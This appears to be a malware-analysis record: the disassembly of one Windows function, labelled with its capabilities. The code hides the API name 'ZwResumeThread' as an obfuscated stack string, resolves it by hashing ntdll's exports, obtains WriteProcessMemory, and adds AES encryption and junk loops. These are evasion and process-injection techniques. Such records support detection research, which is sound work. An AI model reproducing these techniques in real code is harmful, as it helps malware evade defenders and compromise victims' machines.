Function at 0x140005510
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1ee0]
mov eax, 0x1fe0
call fcn.14000ec10
sub rsp, rax
mov rax, qword [0x140017040]
xor rax, rsp
mov qword [rbp + 0x1ed0], rax
mov qword [rbp - 0x80], r9
mov r13, rdx
mov r14, rcx
xor r12d, r12d
call fcn.1400047c0
mov r8d, 0x208
lea rdx, [rbp + 0xab0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x14000557b
mov eax, 0xfffffffe
jmp 0x140009065
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5a8], xmm0
mov qword [rbp + 0x5b8], rax
lea rcx, [rbp + 0x5a8]
call fcn.140004fa0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], 9
mov qword [rbp + 0x548], 0xf
movsd xmm0, qword [str.ntdll.dll]
movsd qword [rbp + 0x530], xmm0
movzx eax, byte [0x140010958]
mov byte [rbp + 0x538], al
mov byte [rbp + 0x539], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], rax
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x4f0]
call fcn.140005030
nop
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x508]
call fcn.140005200
nop
lea r8, [rbp + 0x508]
cmp qword [rbp + 0x520], 0xf
cmova r8, qword [rbp + 0x508]
add r8, qword [rbp + 0x518]
lea rdx, [rbp + 0x508]
cmp qword [rbp + 0x520], 0xf
cmova rdx, qword [rbp + 0x508]
lea rcx, [rsp + 0x60]
call fcn.14000b240
nop
cmp qword [rax + 0x18], 7
jbe 0x140005672
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0x140019320], rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1400056cf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400056c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400056c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov rax, qword [0x140019320]
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r12w
test rax, rax
jne 0x14000589a
lea rdx, str.Failed_to_get_handle_to
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
lea rdx, [rbp + 0x508]
cmp qword [rbp + 0x520], 0xf
cmova rdx, qword [rbp + 0x508]
mov r8, qword [rbp + 0x518]
mov rcx, rax
call fcn.14000be90
lea rdx, [0x14000b1e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x14000577b
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005775
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005775
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x1400057ea
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400057d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400057d2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x14000582f
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005829
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005829
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140006772
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000588a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000588a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov eax, 1
jmp 0x140009065
mov dword [rbp + 0x574], r12d
mov qword [rbp + 0x578], 0xc
mov qword [rbp + 0x580], 0xf
movsd xmm0, qword [str.kernel32.dll]
movsd qword [rbp + 0x568], xmm0
mov eax, dword [0x140010ad8]
mov dword [rbp + 0x570], eax
mov byte [rbp + 0x574], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], rax
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x568]
lea rcx, [rbp + 0x550]
call fcn.140005030
nop
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x588]
call fcn.140005200
nop
lea rdx, [rbp + 0x588]
cmp qword [rbp + 0x5a0], 0xf
cmova rdx, qword [rbp + 0x588]
mov r8, qword [rbp + 0x598]
add r8, rdx
lea rdx, [rbp + 0x588]
cmp qword [rbp + 0x5a0], 0xf
cmova rdx, qword [rbp + 0x588]
lea rcx, [rsp + 0x60]
call fcn.14000b240
nop
cmp qword [rax + 0x18], 7
jbe 0x140005970
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r15, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1400059c2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400059bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400059bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r12w
test r15, r15
jne 0x140005c86
lea rdx, str.Failed_to_get_handle_to_kernel32.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x140005a55
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005a4f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x140005ac4
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005aac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005aac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140005b09
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005b03
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140005b67
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005b61
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x140005bd6
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005bbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005bbe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140005c1b
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005c15
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140006772
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c76
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005c76
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov eax, 1
jmp 0x140009065
mov ebx, r12d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140005d3c
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x58], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000007
jge 0x140005cce
dec eax
or eax, 0xfffffff8
inc eax
mov edx, dword [rbp - 0x58]
mov ecx, eax
shl edx, cl
mov eax, dword [rbp - 0x58]
xor eax, edx
mov dword [rsp + 0x50], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000007
jge 0x140005cf2
dec eax
or eax, 0xfffffff8
inc eax
mov edx, dword [rsp + 0x50]
mov ecx, eax
sar edx, cl
mov eax, dword [rsp + 0x50]
xor eax, edx
mov dword [rsp + 0x50], eax
mov ecx, dword [rsp + 0x50]
mov eax, dword [rbp - 0x58]
imul ecx, eax
mov dword [rsp + 0x54], ecx
inc ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp ebx, edi
jl 0x140005cb1
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r10, rax
test rax, rax
jne 0x140005fea
lea rdx, str.Failed_to_load_ntdll.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x140005dbe
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005db8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005db8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x140005e2d
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e15
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140005e72
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e6c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140005ed0
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005eca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005eca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x140005f3f
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f27
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140005f84
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f7e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140009060
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005fdf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005fdf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
jmp 0x140009060
mov dword [rbp + 0x6f8], 0x6552775a
mov dword [rbp + 0x6fc], 0x656d7573
mov dword [rbp + 0x700], 0x65726854
mov word [rbp + 0x704], 0x6461
mov byte [rbp + 0x706], 0
lea rcx, [rbp + 0x6f8]
mov edi, r12d
mov al, 0x5a
nop dword [rax]
nop dword [rax + rax]
ror edi, 0xd
movsx eax, al
add edi, eax
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140006030
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [rax + r10 + 0x88]
add rcx, r10
mov r8d, dword [rcx + 0x20]
add r8, r10
mov ebx, dword [rcx + 0x24]
add rbx, r10
mov esi, dword [rcx + 0x1c]
add rsi, r10
mov r9d, r12d
mov r11d, dword [rcx + 0x18]
test r11d, r11d
je 0x1400060a4
mov edx, dword [r8]
add rdx, r10
mov eax, r12d
movzx ecx, byte [rdx]
test cl, cl
je 0x140006094
ror eax, 0xd
movsx ecx, cl
add eax, ecx
lea rdx, [rdx + 1]
movzx ecx, byte [rdx]
test cl, cl
jne 0x140006081
cmp eax, edi
je 0x140006113
inc r9d
add r8, 4
cmp r9d, r11d
jb 0x140006071
lea rdx, str.Failed_to_resolve_ZwResumeThread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x140008e3d
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e37
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov eax, r9d
movzx ecx, word [rbx + rax*2]
mov eax, dword [rsi + rcx*4]
add rax, r10
je 0x1400060a4
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x770]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x750]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
lea rdx, str.WriteProcessMemory
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov rcx, qword [0x142e41838]
mov qword [rbp], rcx
lea rcx, [rbp + 0x5c0]
call fcn.140003260
nop
lea rdx, str.Obfuscated_String:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000b000
lea rdx, [rbp + 0x5c0]
cmp qword [rbp + 0x5d8], 0xf
cmova rdx, qword [rbp + 0x5c0]
mov r8, qword [rbp + 0x5d0]
mov rcx, rax
call fcn.14000be90
lea rdx, [0x14000b1e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x5e0]
call fcn.140003b00
nop
lea rdx, str.Hex_Representation:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000b000
lea rdx, [rbp + 0x5e0]
cmp qword [rbp + 0x5f8], 0xf
cmova rdx, qword [rbp + 0x5e0]
mov r8, qword [rbp + 0x5f0]
mov rcx, rax
call fcn.14000be90
lea rdx, [0x14000b1e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x710]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x6e8]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
mov byte [rsp + 0x20], 1
lea r9, [rbp + 0x750]
lea r8, [rbp + 0x770]
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x620]
call fcn.140003910
nop
lea rdx, [rbp + 0x620]
lea rcx, [rbp - 0x78]
call fcn.140003b00
mov rdi, rax
lea rdx, str.Encrypted_String__Hex_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000b000
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x1400062c5
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.14000be90
lea rdx, [0x14000b1e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140006321
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000631b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000631b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xor ebx, ebx
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], bl
mov byte [rsp + 0x20], bl
lea r9, [rbp + 0x750]
lea r8, [rbp + 0x770]
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x600]
call fcn.140003910
nop
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x14000677c
lea rdx, str.Failed_to_get_module_handle_for_ntdll.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x1400063d7
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400063d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400063d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x610], rbx
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x140006435
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000642f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000642f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x630], rbx
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x140006493
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000648d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000648d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x5f0], rbx
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x1400064f1
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400064eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400064eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x5d0], rbx
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x14000654f
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006549
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006549
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x598], rbx
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
